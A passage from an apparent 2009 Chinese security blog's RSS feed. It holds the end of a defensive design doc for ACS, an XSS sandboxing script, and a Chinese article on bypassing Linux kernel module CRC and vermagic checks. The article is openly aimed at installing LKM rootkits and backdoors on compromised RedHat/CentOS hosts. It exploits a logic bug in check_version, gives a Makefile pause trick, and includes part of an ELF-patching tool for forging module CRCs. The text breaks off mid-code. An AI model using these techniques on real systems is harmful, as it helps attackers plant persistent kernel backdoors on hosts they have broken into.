&lt;p&gt;Now a days, rich content (being not only images and colored text, but also videos, audio, javascript code and add-ons) have enabled users to enhance their user experience in many websites.&lt;/p&gt;
&lt;p&gt;Social Networking Sites have been trying to find a way to balance between user's experience and safety, so several solutions have been created.&lt;/p&gt;
&lt;p&gt;These are OpenSocial (Google Gadgets) that has inherent security problems by allowing any code at all to be executed, and limit its safety on the idea of putting the code in a frame. The other one is Google CAJA, which includes an HTML, CSS and JavaScript sandbox, works on every browser, but requires either java, or server interaction. Another one is Facebook FBJS, requiring also server side parsing and prone to several vulnerabilities.&lt;/p&gt;
&lt;p&gt;ACS wants to enable developers to use the same features ACS uses to protect the webpage, and it's done extending its own functions to the global scope.&lt;/p&gt;
&lt;p&gt;ACS will leak one global object, _acs that will have the following elements:&lt;/p&gt;
&lt;p&gt;*  _acs.Browser - Returns a 2 bytes string with the browser name (Opera-&amp;gt;OP,Chrome-&amp;gt;CH,Safari-&amp;gt;SF,Firefox-&amp;gt;FF,Internet Explorer-&amp;gt;IE, KQ-&amp;gt;Konqueror, UK-&amp;gt;Unknown) followed by a dot, and the approximate browser version. This detection is done using native JavaScript features that allow us to do fingerprinting disregarding the version reported by window.navigator.&lt;br /&gt;
*  _acs.isIE,_acs.isIE6,_acs.isIE7,_acs.isIE8,_acs.isFF,_acs.isFF2,_acs.isFF3,_acs.isFF35,&lt;br /&gt;
_acs.isSA3,_acs.isSA4,_acs.isCH3,_acs.isCH4,_acs.isOP9,_acs.isOP10,_acs.isKQ,_acs.isWK(webkit),&lt;br /&gt;
_acs.isGK(gecko), with an assertion of the browser.&lt;br /&gt;
*  _acs.JSSandbox - an instance of the default javascript Sandbox.&lt;br /&gt;
*  _acs.CSSSandbox - an instance of the default CSS Sandbox.&lt;br /&gt;
*  _acs.HTMLSandbox - an instance of the default HTML Sandbox.&lt;br /&gt;
*  _acs.signature - the signature with which this page was evaluated.&lt;/p&gt;
&lt;p&gt;== Sandboxes ==&lt;/p&gt;
&lt;p&gt;ACS supports by default 3 sandboxes, one HTML sandbox created specifically for ACS, one CSS sandbox that uses the native browser engine, and JSReg (http://tinyurl.com/jsreg) as a javascript sandbox.&lt;/p&gt;
&lt;p&gt;All sandboxes (HTML/CSS/JS) have the same interface, and are used in a similar way.&lt;/p&gt;
&lt;p&gt;When you create a new object of a Sandbox, you create a new default sandbox, which can also be called using: _acs.JSSandbox.default(),_acs.CSSSandbox.default() or _acs.HTMLSandbox.default().&lt;/p&gt;
&lt;p&gt;All sandboxes have the following methods:&lt;/p&gt;
&lt;p&gt;*  Sandbox::parse(code) -&amp;gt; will instruct the sandbox to parse the code given,  the return value is the same sandbox object. In case of an error, the function will throw an error.&lt;/p&gt;
&lt;p&gt;*  Sandbox::exec(element) -&amp;gt; will instruct the sandbox to execute the code given (in the context of the optional argument 'element', being, a Node object for the CSS/HTML sandbox specifying the rules and nodes should be applied under that object, and a Object for the JS sandbox specifying the global context of the function), and return its value.. This will return a StyleSheet object for the CSS parser, a Node object for the HTML parser, and an Object for the JS sandbox.&lt;/p&gt;
&lt;p&gt;*  Sandbox::toString() -&amp;gt; will return the code safe to eval() or document.write() that was sent by Sandox::parse().&lt;/p&gt;
&lt;p&gt;== Acknowledgements ==&lt;/p&gt;
&lt;p&gt;The author (Eduardo {sirdarckcat} Vela Nava) wants to acknowledge Alibaba Group for providing an oportunity to develop this project, as well as the support and help on the testing of the prototypes, comments, guidance and suggestions to Giorgio Maone creator of NoScript, and Gareth Heyes creator of JSReg as well as WHK from elhacker.net, Luoluo, Axis, and Yunshu from ph4nt0m, Daniel Veditz, and Sid Stamm from Mozilla, David Ross, Billy Rios,and Eric Lawrence from Microsoft, Adam Barth, Christoph, and Chris Evans from Google, and kuza55, David Lindsay, and Mario Heiderich from slackers.&lt;/p&gt;
&lt;hr /&gt;
&lt;a href=&quot;http://huaidan.org/archives/3439.html#respond&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;发表评论&lt;/strong&gt;&lt;/a&gt; | 分类：&lt;a href=&quot;http://huaidan.org/archives/category/technology&quot; title=&quot;显示技术文章的所有日志&quot; rel=&quot;category tag&quot;&gt;技术文章&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;

© 鬼仔 for &lt;a href=&quot;http://huaidan.org&quot; target=&quot;_blank&quot;&gt;鬼仔's Blog&lt;/a&gt;, 2009. | 本文网址：&lt;a href=&quot;http://huaidan.org/archives/3439.html&quot; target=&quot;_blank&quot;&gt;http://huaidan.org/archives/3439.html&lt;/a&gt;&lt;img src=&quot;http://img.tongji.linezing.com/708134/tongji.gif&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/328782637/sunlei/feedsky/s.gif?r=http://huaidan.org/archives/3439.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/sunlei/328782637/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/sunlei/328782637/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://huaidan.org/archives/3439.html/feed</wfw:commentRss><slash:comments>0</slash:comments><description>By Eduardo Vela Nava
ACS - Active Content Signatures
How to solve XSS and mix user's HTML/JavaScript code with your content with just one script
Eduardo Vela Nava (sirdarckcat@gmail.com)

Contents:
Introduction
Signatures
APIs
Sandboxes
Acknowledgements
...&lt;img src=&quot;http://www1.feedsky.com/t1/328782637/sunlei/feedsky/s.gif?r=http://huaidan.org/archives/3439.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/sunlei/328782637/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/sunlei/328782637/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description><category>技术文章</category><category>XSS</category><category>WebZine</category><pubDate>Tue, 29 Dec 2009 19:24:48 +0800</pubDate><author>鬼仔</author><comments>http://huaidan.org/archives/3439.html#comments</comments><guid isPermaLink="false">http://huaidan.org/archives/3439.html</guid><dc:creator>鬼仔</dc:creator><fs:srclink>http://huaidan.org/archives/3439.html</fs:srclink><fs:srcfeed>http://huaidan.org/feed</fs:srcfeed><fs:itemid>feedsky/sunlei/~7027661/328782637/1230972</fs:itemid></item><item><title>[WebZine]Bypassing Linux kernel module version check</title><link>http://huaidan.org/archives/3438.html</link><content:encoded>&lt;p&gt;By &lt;a href=&quot;http://secinn.appspot.com/pstzine/read?issue=4&amp;amp;articleid=7&quot; target=&quot;_blank&quot;&gt;wzt&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;1、 为什么要突破模块验证&lt;br /&gt;
2、 内核是怎么实现的&lt;br /&gt;
3、 怎样去突破&lt;br /&gt;
4、 总结&lt;br /&gt;
5、 参考&lt;br /&gt;
6、 附录&lt;br /&gt;
&lt;span id=&quot;more-3438&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;1、 为什么要突破模块验证&lt;br /&gt;
Linux内核版本很多，升级很快，2个小内核版本中内核函数的定义可能都不一样，为了确保不一致的驱动程序导致kernel oops，&lt;br /&gt;
开发者加入了模块验证机制。它在加载内核模块的时候对模块进行校验， 如果模块与主机的一些环境不一致，就会加载不成功。&lt;br /&gt;
看下面一个例子，它简单的输出当期系统中的模块列表：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;linux/kernel.h&amp;gt;
#include &amp;lt;linux/module.h&amp;gt;
#include &amp;lt;linux/init.h&amp;gt;
#include &amp;lt;linux/version.h&amp;gt;
#include &amp;lt;linux/string.h&amp;gt;
#include &amp;lt;linux/list.h&amp;gt;

MODULE_LICENSE(&quot;GPL&quot;);
MODULE_AUTHOR(&quot;wzt&quot;);

struct module *m = &amp;amp;__this_module;

int print_module_test(void)
{
        struct module *mod;

        list_for_each_entry(mod, &amp;amp;m-&amp;gt;list, list) {
                printk(&quot;%s\n&quot;, mod-&amp;gt;name);
        }
        return NULL;
}

static int list_print_init(void)
{
        printk(&quot;load list_print module.\n&quot;);

        print_module_test();

        return 0;
}

static void list_print_exit(void)
{
        printk(&quot;unload list_print module.\n&quot;);
}

module_init(list_print_init);
module_exit(list_print_exit);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们在centos5.3环境中编译一下：&lt;br /&gt;
[root@localhost list]# uname -a&lt;br /&gt;
Linux localhost.localdomain 2.6.18-128.el5 #1 SMP Wed Jan 21 10:44:23 EST 2009 i686 i686 i386 GNU/Linux&lt;br /&gt;
然后拷贝到另一台主机centos5.1xen上：&lt;br /&gt;
[root@localhost ~]# uname -a&lt;br /&gt;
Linux localhost.localdomain 2.6.18-53.el5xen #1 SMP Mon Nov 12 03:26:12 EST 2007 i686 i686 i386 GNU/Linux&lt;/p&gt;
&lt;p&gt;用insmod加载：&lt;br /&gt;
[root@localhost ~]# insmod list.ko&lt;br /&gt;
insmod: error inserting 'list.ko': -1 Invalid module format&lt;br /&gt;
报错了，在看下dmesg的信息：&lt;br /&gt;
[root@localhost ~]# dmesg|tail -n 1&lt;br /&gt;
list: disagrees about version of symbol struct_module&lt;br /&gt;
先不管这是什么， 总之我们的模块在另一台2.6.18的主机中加载失败。 通常的做法是要在主机中对源代码进行编译，&lt;br /&gt;
然后才能加载成功， 但是如果主机中缺少内核编译环境的话， 我们的rootkit就不能编译， 也不能安装在主机之中，&lt;br /&gt;
这是多么尴尬的事情:)。 没错， 这就是linux kernel开发的特点， 你别指望像windows驱动一样，编译一个驱动，&lt;br /&gt;
然后可以满世界去装^_^. 一些rootkit开发者抛弃了lkm类型rk的开发， 转而去打kmem, mem的注意，像sk，&lt;br /&gt;
moodnt这样的rk大家都喜欢， 可以在用户层下动态patch内核，不需要编译环境， wget下来，install即可。&lt;br /&gt;
但是它也有很多缺点，比如很不稳定，而且在2.6.x后内核已经取消了kmem这个设备， mem文件也做了映射和读写的&lt;br /&gt;
限制。 rk开发者没法继续sk的神话了。反过来， 如果我们的lkm后门不需要编译环境，也可以达到直接insmod的目的，&lt;br /&gt;
这是件多么美好的事情，而且lkm后门更加稳定，还不用像sk在内核中添加了很多自己的数据结构。&lt;/p&gt;
&lt;p&gt;2、内核是怎么实现的&lt;br /&gt;
我们去看看内核在加载模块的时候都干了什么， 或许我们可以发现点bug， 然后做点手脚，欺骗过去：）&lt;br /&gt;
grep下dmesg里的关键字， 看看它在哪个文件中：&lt;br /&gt;
[root@localhost linux-2.6.18]# grep -r -i 'disagrees about' kernel/&lt;br /&gt;
kernel/module.c:                printk(&quot;%s: disagrees about version of symbol %s\n&quot;,&lt;/p&gt;
&lt;p&gt;2.6.18/kernel/module.c:&lt;br /&gt;
insmod调用了sys_init_module这个系统调用, 然后进入load_module这个主函数，它解析elf格式的ko文件，然后加载&lt;br /&gt;
到内核中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Allocate and load the module: note that size of section 0 is always
   zero, and we rely on this for optional sections. */
static struct module *load_module(void __user *umod,
                                  unsigned long len,
                                  const char __user *uargs)
{
...
        if (!check_modstruct_version(sechdrs, versindex, mod)) {
                err = -ENOEXEC;
                goto free_hdr;
        }

        modmagic = get_modinfo(sechdrs, infoindex, &quot;vermagic&quot;);
        /* This is allowed: modprobe --force will invalidate it. */
        if (!modmagic) {
                add_taint(TAINT_FORCED_MODULE);
                printk(KERN_WARNING &quot;%s: no version magic, tainting kernel.\n&quot;,
                       mod-&amp;gt;name);
        } else if (!same_magic(modmagic, vermagic)) {
                printk(KERN_ERR &quot;%s: version magic '%s' should be '%s'\n&quot;,
                       mod-&amp;gt;name, modmagic, vermagic);
                err = -ENOEXEC;
                goto free_hdr;
        }
...
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;check_modstruct_version就是用来计算模块符号的一些crc值，不相同就会出现我们在dmesg里看到的&lt;br /&gt;
“disagrees about version of symbol”信息。 get_modinfo取得了内核本身的vermagic值，然后用same_magic&lt;br /&gt;
函数和内核的vermagic去比较，不同也会使内核加载失败。 所以在这里，我们看到内核对模块验证的时候采用了&lt;br /&gt;
2层验证的方法：模块crc值和vermagic检查。&lt;/p&gt;
&lt;p&gt;继续跟踪check_modstruct_version， 现在的内核默认的都开启了CONFIG_MODVERSIONS， 如果没有指定这个选项，&lt;br /&gt;
函数为空，我们的目的是要在As, Centos下安装模块，redhat不是吃干饭的， 当然开了MODVERSIONS选项。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static inline int check_modstruct_version(Elf_Shdr *sechdrs,
                                          unsigned int versindex,
                                          struct module *mod)
{
        const unsigned long *crc;
        struct module *owner;

        if (!__find_symbol(&quot;struct_module&quot;, &amp;amp;owner, &amp;amp;crc, 1))
                BUG();
        return check_version(sechdrs, versindex, &quot;struct_module&quot;, mod,
                             crc);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;__find_symbol找到了struct_module这个符号的crc值，然后调用check_version去校验：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static int check_version(Elf_Shdr *sechdrs,
                         unsigned int versindex,
                         const char *symname,
                         struct module *mod,
                         const unsigned long *crc)
{
        unsigned int i, num_versions;
        struct modversion_info *versions;

        /* Exporting module didn't supply crcs?  OK, we're already tainted. */
        if (!crc)
                return 1;

        versions = (void *) sechdrs[versindex].sh_addr;
        num_versions = sechdrs[versindex].sh_size
                / sizeof(struct modversion_info);

        for (i = 0; i &amp;lt; num_versions; i++) {
                if (strcmp(versions[i].name, symname) != 0)
                        continue;

                if (versions[i].crc == *crc)
                        return 1;
                printk(&quot;%s: disagrees about version of symbol %s\n&quot;,
                       mod-&amp;gt;name, symname);
                DEBUGP(&quot;Found checksum %lX vs module %lX\n&quot;,
                       *crc, versions[i].crc);
                return 0;
        }
        /* Not in module's version table.  OK, but that taints the kernel. */
        if (!(tainted &amp;amp; TAINT_FORCED_MODULE)) {
                printk(&quot;%s: no version for \&quot;%s\&quot; found: kernel tainted.\n&quot;,
                       mod-&amp;gt;name, symname);
                add_taint(TAINT_FORCED_MODULE);
        }
        return 1;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;它搜寻elf的versions小节， 循环遍历数组中的每个符号表，找到struct_module这个符号，然后去比较crc的值。&lt;br /&gt;
现在有个疑问， versions小节是怎么链接到模块的elf文件中去的呢?  在看下编译后的生成文件， 有一个list.mod.c&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@localhost list]# cat list.mod.c
#include &amp;lt;linux/module.h&amp;gt;
#include &amp;lt;linux/vermagic.h&amp;gt;
#include &amp;lt;linux/compiler.h&amp;gt;

MODULE_INFO(vermagic, VERMAGIC_STRING);

struct module __this_module
__attribute__((section(&quot;.gnu.linkonce.this_module&quot;))) = {
 .name = KBUILD_MODNAME,
 .init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
 .exit = cleanup_module,
#endif
};

static const struct modversion_info ____versions[]
__attribute_used__
__attribute__((section(&quot;__versions&quot;))) = {
        { 0x89e24b9c, &quot;struct_module&quot; },
        { 0x1b7d4074, &quot;printk&quot; },
};

static const char __module_depends[]
__attribute_used__
__attribute__((section(&quot;.modinfo&quot;))) =
&quot;depends=&quot;;

MODULE_INFO(srcversion, &quot;26DB52D8A56205333D414B9&quot;);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个文件是模块在编译的时候，调用了linux-2.6.18/scripts/modpost这个文件生成的。&lt;br /&gt;
里面增加了2个小节.gnu.linkonce.this_module和__versions。 __versions小节的内容就是&lt;br /&gt;
一些字符串和值组成的数组，check_version就是解析这个小节去做验证。 这里还有一个&lt;br /&gt;
MODULE_INFO宏用来生成模块的magic字符串，这个在以后的vermagic中要做验证。&lt;/p&gt;
&lt;p&gt;先看下vermagic的格式：&lt;br /&gt;
[root@localhost list]# modinfo list.ko&lt;br /&gt;
filename:       list.ko&lt;br /&gt;
author:         wzt&lt;br /&gt;
license:        GPL&lt;br /&gt;
srcversion:     26DB52D8A56205333D414B9&lt;br /&gt;
depends:&lt;br /&gt;
vermagic:       2.6.18-128.el5 SMP mod_unload 686 REGPARM 4KSTACKS gcc-4.1&lt;/p&gt;
&lt;p&gt;这里可以看到vermagic跟内核版本，smp，gcc版本，内核堆栈大小都有关。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* First part is kernel version, which we ignore. */
static inline int same_magic(const char *amagic, const char *bmagic)
{
        amagic += strcspn(amagic, &quot; &quot;);
        bmagic += strcspn(bmagic, &quot; &quot;);
        return strcmp(amagic, bmagic) == 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;same_magic忽略了对内核版本的判断， 直接比较后面的值。&lt;/p&gt;
&lt;p&gt;3、怎样去突破&lt;/p&gt;
&lt;p&gt;知道了内核是怎么实现的了， 下面开始想办法绕过这些验证：）&lt;/p&gt;
&lt;p&gt;3.1 怎么突破crc验证：&lt;/p&gt;
&lt;p&gt;在仔细看下代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;        for (i = 0; i &amp;lt; num_versions; i++) {
                if (strcmp(versions[i].name, symname) != 0)
                        continue;

                if (versions[i].crc == *crc)
                        return 1;
                printk(&quot;%s: disagrees about version of symbol %s\n&quot;,
                       mod-&amp;gt;name, symname);
                DEBUGP(&quot;Found checksum %lX vs module %lX\n&quot;,
                       *crc, versions[i].crc);
                return 0;
        }
        /* Not in module's version table.  OK, but that taints the kernel. */
        if (!(tainted &amp;amp; TAINT_FORCED_MODULE)) {
                printk(&quot;%s: no version for \&quot;%s\&quot; found: kernel tainted.\n&quot;,
                       mod-&amp;gt;name, symname);
                add_taint(TAINT_FORCED_MODULE);
        }
        return 1;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;check_version在循环中只是在寻找struct_module符号， 如果没找到呢？ 它会直接返回1！  没错， 这是一个&lt;br /&gt;
逻辑bug，在正常情况下，module必会有一个struct_module的符号， 这是modpost生成的。如果我们修改elf文件，&lt;br /&gt;
把struct_module这个符号改名，岂不是就可以绕过crc验证了吗？ 先做个实验看下：&lt;br /&gt;
.mod.c是由modpost这个工具生成的， 它在linux-2.6.18/scripts/Makefile.modpost文件中被调用， 去看下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PHONY += __modpost
__modpost: $(wildcard vmlinux) $(modules:.ko=.o) FORCE
        $(call cmd,modpost)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们用一个很土的方法， 就是在编译模块的时候，modpost生成.mod.c文件后， 暂停下编译，sleep 30秒吧，我们用&lt;br /&gt;
这个时间去改写下.mod.c， 把struct_module换个名字。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PHONY += __modpost
__modpost: $(wildcard vmlinux) $(modules:.ko=.o) FORCE
        $(call cmd,modpost)
        @sleep 30&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;随便将struct_module改个名：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@localhost list]# cat list.mod.c
#include &amp;lt;linux/module.h&amp;gt;
#include &amp;lt;linux/vermagic.h&amp;gt;
#include &amp;lt;linux/compiler.h&amp;gt;

MODULE_INFO(vermagic, VERMAGIC_STRING);

struct module __this_module
__attribute__((section(&quot;.gnu.linkonce.this_module&quot;))) = {
 .name = KBUILD_MODNAME,
 .init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
 .exit = cleanup_module,
#endif
};

static const struct modversion_info ____versions[]
__attribute_used__
__attribute__((section(&quot;__versions&quot;))) = {
        { 0x89e24b9c, &quot;stauct_module&quot; },
        { 0x1b7d4074, &quot;printk&quot; },
};

static const char __module_depends[]
__attribute_used__
__attribute__((section(&quot;.modinfo&quot;))) =
&quot;depends=&quot;;

MODULE_INFO(srcversion, &quot;26DB52D8A56205333D414B9&quot;);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们是在centos5.3下编译的， 然后拷贝到centos5.1下， 在执行下insmod看下：&lt;br /&gt;
[root@localhost ~]# insmod list.ko&lt;br /&gt;
[root@localhost ~]# dmesg|tail&lt;br /&gt;
ata_piix&lt;br /&gt;
libata&lt;br /&gt;
sd_mod&lt;br /&gt;
scsi_mod&lt;br /&gt;
ext3&lt;br /&gt;
jbd&lt;br /&gt;
ehci_hcd&lt;br /&gt;
ohci_hcd&lt;br /&gt;
uhci_hcd&lt;br /&gt;
成功了！ 这跟我们预期的一样， 我们用这个逻辑bug绕过了模块的crc验证！ 这个bug直到2.6.31版本中&lt;br /&gt;
才得到修正。 我们可以用这种方法在redhat主机中任意安装模块了。 那么怎样绕过在2.6.31以后的内核呢？&lt;br /&gt;
看下它是怎么修补的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	for (i = 0; i &amp;lt; num_versions; i++) {
		if (strcmp(versions[i].name, symname) != 0)
			continue;

		if (versions[i].crc == *crc)
			return 1;
		DEBUGP(&quot;Found checksum %lX vs module %lX\n&quot;,
		       *crc, versions[i].crc);
		goto bad_version;
	}

	printk(KERN_WARNING &quot;%s: no symbol version for %s\n&quot;,
	       mod-&amp;gt;name, symname);
	return 0;

bad_version:
	printk(&quot;%s: disagrees about version of symbol %s\n&quot;,
	       mod-&amp;gt;name, symname);

        return 0;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果没找到struct_module也会返回0， 这样我们就必须将struct_module的值改为正确后， 才能继续安装。&lt;br /&gt;
如何找到模块符号的crc值呢? 我们可以去找目标主机中那些已被系统加载的模块的crc值，如ext3文件系统&lt;br /&gt;
的模块， 自己写个程序去解析elf文件， 就可以得到某些符号的crc值了。&lt;br /&gt;
还有没有更简单的方法呢？去/boot目录下看看，symvers-2.6.18-128.el5.gz貌似和crc有关，gunzip解压后看看：&lt;br /&gt;
[root@localhost boot]# grep 'struct_module' symvers-2.6.18-128.el5&lt;br /&gt;
0x89e24b9c      struct_module   vmlinux EXPORT_SYMBOL&lt;br /&gt;
原来内核中所有符号的crc值都保存在这个文件中。如何改写struct_module的值呢，可以用上面那个土方法，&lt;br /&gt;
或者自己写程序去解析elf文件， 然后改写其值。本文最后附上一个小程序用来修改elf的符号和crc值。&lt;/p&gt;
&lt;p&gt;3.2 如何突破vermagic验证：&lt;br /&gt;
如果我们用list.mod.c中的做法， 用MODULE_INFO宏来生成一个与目标主机相同的vermagic呢？ 答案是&lt;br /&gt;
否定的，gcc链接的时候会把modinfo小节链接在最后，加载模块的时候还是会读取第一个.modinfo小节。&lt;br /&gt;
我们可以用上面那种很土的方法， 先用modinfo命令得到目标主机中某个模块的信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@localhost list]# modinfo /lib/modules/2.6.18-128.el5/kernel/fs/ext3/ext3.ko
filename:       /lib/modules/2.6.18-128.el5/kernel/fs/ext3/ext3.ko
license:        GPL
description:    Second Extended Filesystem with journaling extensions
author:         Remy Card, Stephen Tweedie, Andrew Morton, Andreas Dilger, Theodore Ts'o and others
srcversion:     B048AC103E5034604A721C5
depends:        jbd
vermagic:       2.6.18-128.el5 SMP mod_unload 686 REGPARM 4KSTACKS gcc-4.1
module_sig:     883f3504977495e4f3f897cd3dced211288209f551cc1da557f96ea18d9a4efd6cfb0fc2612e009c8845fd776c825d586f492ceab19e17b2319da8f&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在用那个很土的方面， 将.mod.c中vermagic值进行修改。还有一种直接修改elf文件的方法，附录在本文后面。&lt;/p&gt;
&lt;p&gt;4、总结&lt;br /&gt;
前面有一点没有提到， 就是某些内核版本的相同接口的函数代码可能已经变化， 这样在使用这项技术的时候，&lt;br /&gt;
最好在同一个大内核版本使用。你也可能感觉要想跨平台安装模块有些麻烦， 这里还有2个方法， 作为一个专业&lt;br /&gt;
搞渗透的人来说，他会自己在本地装很多发行版本的linux，特别是root掉一台主机后，会在本地装一个一模一样&lt;br /&gt;
的发行版本，smp、kernel stack size、gcc version都一样。在本地机器装上开发环境，这样编译出来的模块&lt;br /&gt;
也是可以直接装到目标主机上的，但这很麻烦，因为linux有太多的发行版本了：）， 另一个方法就是自己&lt;br /&gt;
装一个linux，编译下内核，然后将build后的开发包集成到自己的后门里， 压缩后大概几m。 然后传到主机&lt;br /&gt;
去解压，编译。庆幸的是，现在大多数主机中都有内核开发环境， 直接去主机编译就ok了。&lt;/p&gt;
&lt;p&gt;5、参考&lt;br /&gt;
【1】 linux kernel source code&lt;/p&gt;
&lt;p&gt;http://www.kernel.org&lt;/p&gt;
&lt;p&gt;【2】 module injection in 2.6 kernel - Coolq&lt;/p&gt;
&lt;p&gt;http://www.nsfocus.net/index.php?act=magazine&amp;amp;do=view&amp;amp;mid=2533&lt;/p&gt;
&lt;p&gt;6、附录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
 * Linux kernel module fucker
 *
 * by wzt       &amp;lt;wzt.wzt@gmail.com&amp;gt;
 *
 */

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;elf.h&amp;gt;
#include &amp;lt;sys/stat.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;

#define MODULE_NAME_LEN         (64 - sizeof(unsigned long))

struct modversion_info
{
        unsigned long crc;
        char name[MODULE_NAME_LEN];
};

Elf32_Ehdr *ehdr = NULL;
Elf32_Phdr *phdr = NULL;
Elf32_Shdr *shdr = NULL;
Elf32_Shdr *shstrtab = NULL;
Elf32_Sym *dynsym_ptr = NULL;
Elf32_Sym *symtab_ptr = NULL;
Elf32_Sym *dynstr_ptr = NULL;

char *Real_strtab = NULL;
char *dynstr = NULL;
char *strtab_ptr = NULL;
char dynstr_buffer[2048];
char strtab_buffer[4096];
char *real_strtab = NULL;

unsigned int shstrtab_off, shstrtab_len, shstrtab_num;
unsigned int strtab_off, strtab_size;

int elf_fd;
struct stat f_stat;

void usage(char *pro)
{
        fprintf(stderr, &quot;usage: %s &amp;lt;options&amp;gt; &amp;lt;module&amp;gt;\n\n&quot;, pro);
        fprintf(stderr, &quot;-w -v\tCheck vermgaic in module.\n&quot;);
        fprintf(stderr, &quot;-w -c\tCheck crc value in module.\n&quot;);
        fprintf(stderr, &quot;-s -v &amp;lt;new_vermagic&amp;gt;\tSet vermagic in module.\n&quot;);
        fprintf(stderr, &quot;-s -c\tSet crc value in module.\n&quot;);

        exit(0);
}

int init_load_elf(char *elf_file)
{
        char buff[1024];

        elf_fd = open(elf_file, O_RDWR);
        if (elf_fd == -1) {
                perror(&quot;open&quot;);
                return 0;
        }
        fprintf(stderr, &quot;[+] Open %s ok.\n&quot;, elf_file);

        if (fstat(elf_fd, &amp;amp;f_stat) == -1) {
                perror(&quot;fstat&quot;);
                return 0;
        }

        ehdr = (Elf32_Ehdr *)mmap(NULL, f_stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, elf_fd, 0);
        if(ehdr == MAP_FAILED) {
                perror(&quot;mmap&quot;);
                return 0;
        }

        phdr = (Elf32_Phdr *)((unsigned long)ehdr + ehdr-&amp;gt;e_phoff);
        shdr = (Elf32_Shdr *)((unsigned long)ehdr + ehdr-&amp;gt;e_shoff);

        shstrtab = &amp;amp;shdr[ehdr-&amp;gt;e_shstrndx];
        shstrtab_off = (unsigned int)shstrtab-&amp;gt;sh_offset;
        shstrtab_len = shstrtab-&amp;gt;sh_size;

        real_strtab = (char *)( (unsigned long)ehdr + shstrtab_off );

        printf(&quot;[+] .Shstrtab Size :0x%x,%d\n&quot;, shstrtab-&amp;gt;sh_size, shstrtab-&amp;gt;sh_name);
        printf(&quot;[+] .Shstrtab Off: 0x%x\n&quot;, shstrtab_off);

        return 1;
}

int display_module_crc_info(void)
{
        struct modversion_info *versions;
        char *buff = NULL;
        unsigned int version_off, version_size, num_versions;
        int i, j;

        buff = (char *)malloc(shstrtab_len + 2);
        if (!buff) {
                fprintf(stderr, &quot;[-] Malloc failed.\n&quot;);
                return 0;
        }

        memcpy(buff, real_strtab, shstrtab_len + 1);
        for (i = 0 ; i &amp;lt; (int)ehdr-&amp;gt;e_shnum ; i++){
                if (!strcmp(buff + shdr[i].sh_name,&quot;__versions&quot;)){
                        printf(&quot;[+] found section %s.\n&quot;, buff + shdr[i].sh_name);
                        version_off = (unsigned int)shdr[i].sh_offset;
                        version_size = (unsigned int)shdr[i].sh_size;
                        printf(&quot;[+] version off: 0x%x\n&quot;, version_off);
                        printf(&quot;[+] version size: 0x%x\n&quot;, version_size);
                        break;
                }
        }

        printf(&quot;[+] %x,%x\n&quot;, (unsigned long)ehdr + version_off, shdr[i].sh_addr);
        versions = (void *)((unsigned long)ehdr + version_off);
        num_versions = version_size / sizeof(struct modversion_info);
        printf(&quot;[+] num_versions: %d\n&quot;, num_versions);

        for (j = 0; j &amp;lt; num_versions; j++) {
                printf(&quot;[+] %s:0x%08x.\n&quot;, versions[j].name, versions[j].crc);
        }

        free(buff);
        return 1;
}

int set_module_crc_info(void)
{
        struct modversion_info *versions;
        char *buff = NULL;
        unsigned int version_off, version_size, num_versions;
        int i, j;

        buff = (char *)malloc(shstrtab_len + 2);
        if (!buff) {
                fprintf(stderr, &quot;[-] Malloc failed.\n&quot;);
                return 0;
        }

        memcpy(buff, real_strtab, shstrtab_len + 1);
